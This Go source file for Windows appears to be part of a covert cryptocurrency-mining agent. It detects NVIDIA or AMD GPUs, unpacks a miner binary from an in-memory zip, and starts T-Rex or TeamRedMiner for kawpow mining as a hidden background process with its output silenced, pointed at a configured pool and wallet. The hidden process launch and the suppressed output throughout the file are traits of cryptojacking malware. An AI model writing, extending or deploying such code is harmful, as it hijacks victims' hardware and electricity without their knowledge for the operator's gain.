//go:build windows package client import ( "archive/zip" "bytes" "os" "os/exec" "path/filepath" "strings" "crypto-miner-agent/deploy" ) // detectGPU identifies the first supported discrete GPU on Windows. // Priority: NVIDIA (via nvidia-smi) → AMD (via wmic VideoController). func detectGPU() GPUInfo { // NVIDIA — nvidia-smi is the most reliable check if out, err := deploy.HiddenOutput("nvidia-smi", "--query-gpu=name", "--format=csv,noheader"); err == nil { model := strings.TrimSpace(strings.SplitN(string(out), "\n", 2)[0]) if model != "" { return GPUInfo{Vendor: GPUVendorNVIDIA, Model: model} } } // AMD — wmic (available on all modern Windows without extra installs) if out, err := deploy.HiddenOutput( "wmic", "path", "win32_VideoController", "get", "Name", "/value", ); err == nil { for _, line := range strings.Split(string(out), "\n") { line = strings.TrimSpace(line) if !strings.HasPrefix(strings.ToLower(line), "name=") { continue } name := strings.TrimSpace(strings.SplitN(line, "=", 2)[1]) lo := strings.ToLower(name) if strings.Contains(lo, "radeon") || strings.Contains(lo, "amd") || strings.Contains(lo, "rx ") { return GPUInfo{Vendor: GPUVendorAMD, Model: name} } } } return GPUInfo{Vendor: GPUVendorNone} } // startProcess launches the GPU miner binary as a hidden background process. func (g *GPUMiner) startProcess(binPath string) (*os.Process, error) { pool := g.cfg.RVNPoolHost port := g.cfg.RVNPoolPort wallet := g.cfg.RVNWallet worker := g.cfg.WorkerName var args []string switch g.info.Vendor { case GPUVendorNVIDIA: // T-Rex: kawpow algorithm algo := "kawpow" poolURL := "" if g.cfg.RVNPoolTLS { poolURL = "stratum+ssl://" + pool } else { poolURL = "stratum+tcp://" + pool } args = []string{ "-a", algo, "-o", poolURL, "-u", wallet + "." + worker, "-p", g.cfg.RVNPoolPass, "--api-bind-http", "127.0.0.1:4067", "--no-watchdog", "--exit-on-cuda-error", } if port > 0 { args[3] = args[3] + ":" + itoa(port) } case GPUVendorAMD: // TeamRedMiner: kawpow algorithm poolURL := "" if g.cfg.RVNPoolTLS { poolURL = "stratum+ssl://" + pool } else { poolURL = "stratum+tcp://" + pool } if port > 0 { poolURL += ":" + itoa(port) } args = []string{ "-a", "kawpow", "-o", poolURL, "-u", wallet + "." + worker, "-p", g.cfg.RVNPoolPass, "--api_listen=4068", } } cmd := exec.Command(binPath, args...) deploy.PrepareHiddenProcess(cmd) cmd.Dir = filepath.Dir(binPath) // Redirect all miner output to NUL (silent) cmd.Stdout = nil cmd.Stderr = nil if err := cmd.Start(); err != nil { return nil, err } return cmd.Process, nil } func itoa(n int) string { if n == 0 { return "0" } buf := make([]byte, 0, 10) neg := n < 0 if neg { n = -n } for n > 0 { buf = append([]byte{byte('0' + n%10)}, buf...) n /= 10 } if neg { buf = append([]byte{'-'}, buf...) } return string(buf) } // extractZipFile unpacks targetFile from a zip archive (in memory) to destDir. func extractZipFile(data []byte, destDir, targetFile string) error { r, err := zip.NewReader(bytes.NewReader(data), int64(len(data))) if err != nil { return err } targetLower := strings.ToLower(targetFile) for _, f := range r.File { if strings.ToLower(filepath.Base(f.Name)) != targetLower { continue } rc, err := f.Open() if err != nil { return err } defer rc.Close() dst := filepath.Join(destDir, targetFile) out, err := os.Create(dst) if err != nil { return err } defer out.Close() buf := make([]byte, 32*1024) for { n, err := rc.Read(buf) if n > 0 { if _, we := out.Write(buf[:n]); we != nil { return we } } if err != nil { break } } return nil } return nil // binary not found inside zip — non-fatal, caller checks after }